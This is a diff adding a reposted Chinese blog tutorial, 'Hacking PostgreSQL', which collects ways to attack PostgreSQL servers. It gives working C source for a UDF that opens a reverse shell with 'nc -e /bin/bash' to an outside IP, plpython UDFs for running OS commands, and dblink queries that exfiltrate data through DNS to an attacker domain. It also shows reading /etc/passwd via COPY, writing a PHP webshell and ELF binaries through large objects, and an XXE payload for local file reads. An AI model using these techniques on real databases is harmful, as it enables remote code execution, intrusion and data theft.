|
| 1 | +## Hacking PostgreSQL |
| 2 | + |
| 3 | +### 作者 |
| 4 | +digoal |
| 5 | + |
| 6 | +### 日期 |
| 7 | +2016-10-18 |
| 8 | + |
| 9 | +### 标签 |
| 10 | +PostgreSQL , sql注入 , ssrf , PostgreSQL , hacking |
| 11 | + |
| 12 | +---- |
| 13 | + |
| 14 | +本文为转载文章,原文地址 |
| 15 | + |
| 16 | +http://www.cnblogs.com/Yinxinghan/p/Hacking_PostgreSQL.html |
| 17 | + |
| 18 | +## 背景 |
| 19 | +这篇文章主要讲解了如何 Hacking PostgreSQL 数据库,总结了一些常用方法。 |
| 20 | + |
| 21 | +## SQL 注入 |
| 22 | +大体上和 MySQL 差不多,有一些变量不一样。 |
| 23 | + |
| 24 | +具体就不再举例,可以看这篇总结:PostgreSQL SQL Injection Cheat Sheet。 |
| 25 | + |
| 26 | +此外,利用 sqlmap 也是一个不错的方式。 |
| 27 | + |
| 28 | +## 执行命令 |
| 29 | +### C |
| 30 | +sqlmap 给出的几个 UDF 在我本地测试并不成功,所以最好的方法是自己编译一个动态链接库。 |
| 31 | + |
| 32 | +根据官方文档,我们要定义一个 PG_MODULE_MAGIC。 |
| 33 | + |
| 34 | +大概是 PostgreSQL 的安全机制,在 8.2 以后需要验证这个 magic block,不然,在加在动态链接库的时候会报错: |
| 35 | + |
| 36 | +``` |
| 37 | +ERROR: incompatible library "xxx.so": missing magic block |
| 38 | +HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. |
| 39 | +``` |
| 40 | + |
| 41 | +执行系统命令的动态链接库源码为: |
| 42 | + |
| 43 | +``` |
| 44 | + 1 #include "postgres.h" |
| 45 | + 2 #include "fmgr.h" |
| 46 | + 3 #include <stdlib.h> |
| 47 | + 4 |
| 48 | + 5 #ifdef PG_MODULE_MAGIC |
| 49 | + 6 PG_MODULE_MAGIC; |
| 50 | + 7 #endif |
| 51 | + 8 |
| 52 | + 9 text *exec() |
| 53 | +10 { |
| 54 | +11 system("nc -e /bin/bash 10.211.55.2 9999"); |
| 55 | +12 } |
| 56 | +``` |
| 57 | + |
| 58 | +利用如下命令编译 .so 文件: |
| 59 | + |
| 60 | +``` |
| 61 | +gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o /tmp/1.so |
| 62 | +``` |
| 63 | + |
| 64 | +在 pgsql 里执行: |
| 65 | + |
| 66 | +``` |
| 67 | +CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/1.so', 'exec' LANGUAGE C STRICT; |
| 68 | +select exec(); |
| 69 | +``` |
| 70 | + |
| 71 | +监听的 9999 端口得到一个 shell: |
| 72 | + |
| 73 | + |
| 74 | + |
| 75 | +### Python |
| 76 | +默认 PostgreSQL 不会安装 Python 的扩展,在 Ubuntu 下可以通过: |
| 77 | + |
| 78 | +``` |
| 79 | +apt-get install postgresql-plpython-9.1 |
| 80 | +``` |
| 81 | + |
| 82 | +进行安装,除了 python 的扩展,还有 sh、perl、ruby 等等。 |
| 83 | + |
| 84 | +安装完成后,首先是创建一个 UDF 来执行我们要执行的命令: |
| 85 | + |
| 86 | +``` |
| 87 | +CREATE FUNCTION system (a text) |
| 88 | + RETURNS text |
| 89 | +AS $$ |
| 90 | + import os |
| 91 | + return os.popen(a).read() |
| 92 | +$$ LANGUAGE plpython2u; |
| 93 | +``` |
| 94 | + |
| 95 | +其中的 plpython2u 可以利用如下语句获取: |
| 96 | + |
| 97 | +``` |
| 98 | +select * from pg_language; |
| 99 | +``` |
| 100 | + |
| 101 | +我们可以根据返回来判断利用哪个语言(plpython2u、plpythonu、plpython3u 等等)。 |
| 102 | + |
| 103 | + |
| 104 | + |
| 105 | +创建好 UDF 后,直接调用如下语句即可: |
| 106 | + |
| 107 | +``` |
| 108 | +select system('ls -la'); |
| 109 | +``` |
| 110 | + |
| 111 | + |
| 112 | + |
| 113 | +此外,sh、ruby 等同理,可以参考官方文档来写一个 UDF。 |
| 114 | + |
| 115 | +文档地址:http://www.postgresql.org/docs/8.2/static/server-programming.html |
| 116 | + |
| 117 | +## DNS 请求获取数据 |
| 118 | +同样的,PostgreSQL 可以通过 DNS Request 一样获取数据,在盲注的情况下。 |
| 119 | + |
| 120 | +用到的一个扩展叫做 dblink,可以通过如下命令开启: |
| 121 | + |
| 122 | +``` |
| 123 | +CREATE EXTENSION dblink |
| 124 | +``` |
| 125 | + |
| 126 | +接着运行如下语句,获取当前数据库用户名称: |
| 127 | + |
| 128 | +``` |
| 129 | +SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT); |
| 130 | +``` |
| 131 | + |
| 132 | + |
| 133 | + |
| 134 | +远程获取到请求内容: |
| 135 | + |
| 136 | + |
| 137 | + |
| 138 | +## 读写文件 |
| 139 | +### 读 |
| 140 | +PostgreSQL 读取文件虽然有些蛋疼,但是还是可以读取的: |
| 141 | + |
| 142 | +``` |
| 143 | +CREATE TABLE temptable(t text); |
| 144 | +COPY temptable FROM '/etc/passwd'; |
| 145 | +SELECT * FROM temptable limit 1 offset 0; |
| 146 | +``` |
| 147 | + |
| 148 | +读取结束后: |
| 149 | +``` |
| 150 | +DROP TABLE temptable; |
| 151 | +``` |
| 152 | + |
| 153 | +新版本则可以直接通过函数或者使用大对象操作接口来读取。 |
| 154 | + |
| 155 | +``` |
| 156 | + pg_catalog | pg_read_binary_file | bytea | text |
| 157 | + pg_catalog | pg_read_binary_file | bytea | text, bigint, bigint |
| 158 | + pg_catalog | pg_read_binary_file | bytea | text, bigint, bigint, boolean |
| 159 | + pg_catalog | pg_read_file | text | text |
| 160 | + pg_catalog | pg_read_file | text | text, bigint, bigint |
| 161 | + pg_catalog | pg_read_file | text | text, bigint, bigint, boolean |
| 162 | + pg_catalog | pg_stat_file | record | filename text, OUT size bigint, OUT access timestamp with time zone, OUT modification timestamp with time zone, OUT change timestamp with time zone, OUT creation timestamp with |
| 163 | + pg_catalog | pg_stat_file | record | filename text, missing_ok boolean, OUT size bigint, OUT access timestamp with time zone, OUT modification timestamp with time zone, OUT change timestamp with time zone, OUT cre |
| 164 | +ation timestamp with time zone, OUT isdir boolean | normal |
| 165 | +``` |
| 166 | + |
| 167 | +``` |
| 168 | + pg_catalog | lo_close | integer | integer |
| 169 | + |
| 170 | + pg_catalog | lo_creat | oid | integer |
| 171 | + |
| 172 | + pg_catalog | lo_create | oid | oid |
| 173 | + |
| 174 | + pg_catalog | lo_export | integer | oid, text |
| 175 | + |
| 176 | + pg_catalog | lo_from_bytea | oid | oid, bytea |
| 177 | + |
| 178 | + pg_catalog | lo_get | bytea | oid |
| 179 | + |
| 180 | + pg_catalog | lo_get | bytea | oid, bigint, integer |
| 181 | + |
| 182 | + pg_catalog | lo_import | oid | text |
| 183 | + |
| 184 | + pg_catalog | lo_import | oid | text, oid |
| 185 | + |
| 186 | + pg_catalog | lo_lseek | integer | integer, integer, integer |
| 187 | + |
| 188 | + pg_catalog | lo_lseek64 | bigint | integer, bigint, integer |
| 189 | + |
| 190 | + pg_catalog | lo_open | integer | oid, integer |
| 191 | + |
| 192 | + pg_catalog | lo_put | void | oid, bigint, bytea |
| 193 | + |
| 194 | + pg_catalog | lo_tell | integer | integer |
| 195 | + |
| 196 | + pg_catalog | lo_tell64 | bigint | integer |
| 197 | + |
| 198 | + pg_catalog | lo_truncate | integer | integer, integer |
| 199 | + |
| 200 | + pg_catalog | lo_truncate64 | integer | integer, bigint |
| 201 | + |
| 202 | + pg_catalog | lo_unlink | integer | oid |
| 203 | +``` |
| 204 | + |
| 205 | +### 写 |
| 206 | +写文件分为两个部分,一个是写 webshell,另外一个是写二进制文件。 |
| 207 | + |
| 208 | +写 webshell 十分简单,利用: |
| 209 | + |
| 210 | +``` |
| 211 | +COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; |
| 212 | +``` |
| 213 | + |
| 214 | +即可写一个文件。 |
| 215 | + |
| 216 | +根据疯狗的这一篇帖子: |
| 217 | + |
| 218 | +http://zone.wooyun.org/content/4971 |
| 219 | + |
| 220 | +,说是可以利用PostgreSQL 的“大对象数据”来写,但是我测试是失败的。报错如下: |
| 221 | +``` |
| 222 | +ERROR: pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378 |
| 223 | +``` |
| 224 | + |
| 225 | +用 COPY 语句,format 为 binary 的情况下来写文件的话,会被 PostgreSQL 加上几个字节,导致不能识别为 ELF 文件。 |
| 226 | + |
| 227 | +实际上,阅读官方文档可知,写的文件每一页不能超过 2KB,所以我们要把数据分段: |
| 228 | + |
| 229 | +``` |
| 230 | +SELECT lo_create(12345); |
| 231 | +INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex')); |
| 232 | +INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex')); |
| 233 | +INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex')); |
| 234 | +INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex')); |
| 235 | +SELECT lo_export(12345, '/tmp/test.so'); |
| 236 | +SELECT lo_unlink(12345); |
| 237 | +``` |
| 238 | + |
| 239 | +其中每一段都要小于等于 2KB,这样就可以成功写入: |
| 240 | + |
| 241 | + |
| 242 | + |
| 243 | +## XXE |
| 244 | +老版本的 PostgreSQL 存在 XXE 漏洞。 |
| 245 | + |
| 246 | +具体可以看这篇文章:PostgreSQL (all) error-based XXE 0day。 |
| 247 | + |
| 248 | +大体就是执行语句: |
| 249 | +``` |
| 250 | +select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>'); |
| 251 | +``` |
| 252 | + |
| 253 | +可以获取一些数据,也可以进行 SSRF 等。 |
| 254 | + |
| 255 | +不过因为年代很久,可能很多都修复过了,所以作为一个保留方案,可能会有意外的惊喜。 |
| 256 | + |
| 257 | +## 参考 |
| 258 | +1\. PostgreSQL SQL Injection Cheat Sheet |
| 259 | +http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet |
| 260 | + |
| 261 | +2\. 关于PostgreSQL的那些事儿(文件读取写入、命令执行的办法) |
| 262 | +http://zone.wooyun.org/content/4971 |
| 263 | + |
| 264 | +3\. PostgreSQL 9.0 Documentation |
| 265 | +http://www.postgresql.org/docs/9.0/ |
| 266 | + |
| 267 | +4\. PostgreSQL (all) error-based XXE 0day |
| 268 | +http://lab.onsec.ru/2012/06/postgresql-all-error-based-xxe-0day.html |
| 269 | + |
| 270 | +5\. hack 云服务 pdf |
| 271 | +[pdf](20161018_02_pdf_001.pdf) |
| 272 | + |
| 273 | + |
| 274 | +[Count](http://info.flagcounter.com/h9V1) |
| 275 | + |
| 276 | + |
0 commit comments